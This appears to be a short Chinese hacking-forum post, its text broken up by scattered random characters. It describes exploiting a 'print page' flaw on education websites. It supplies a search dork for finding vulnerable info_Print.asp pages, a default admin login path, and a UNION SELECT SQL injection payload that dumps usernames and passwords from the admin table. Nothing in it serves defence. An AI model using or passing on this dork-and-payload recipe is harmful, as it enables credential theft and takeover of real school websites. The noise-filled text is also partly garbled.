教育站打印页面漏洞' A3 X) s6 f7 ?- A7 [
百度或google搜索 inurl:info_Print.asp?ArticleID=
2 H Y N2 |5 E5 f: \, O4 \7 P默认后台:/ad_login.asp1 v* }% s+ ]2 a+ i ^# \
爆管理员密码:
3 B4 \- R4 i0 U. L) O% o2 ?. B6 B在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格,然后加下边的红色语句,回车即可3 d( O& H( x6 U6 }- Z0 Q- `- U
1 U, [& x% d' B! [1 ?union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin% h& g: A) v$ ]6 M
% M5 V- `1 ?, s0 I作者:佚名
0 k4 Q. v: x' F4 j+ M
6 W. V5 Q @/ @7 Q0 i ' |' G* n' A) f' N: _, u
|